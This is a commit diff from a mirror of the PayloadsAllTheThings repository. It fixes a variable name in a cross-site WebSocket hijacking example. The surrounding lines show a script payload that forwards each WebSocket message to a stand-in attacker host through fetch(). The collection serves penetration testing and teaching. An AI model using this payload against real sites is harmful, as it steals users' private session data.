mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
commit
d9921e370b
@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
|
||||
<script>
|
||||
ws = new WebSocket('wss://vulnerable.example.com/messages');
|
||||
ws.onopen = function start(event) {
|
||||
websocket.send("HELLO");
|
||||
ws.send("HELLO");
|
||||
}
|
||||
ws.onmessage = function handleReply(event) {
|
||||
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
|
||||
|
Loading…
Reference in New Issue
Block a user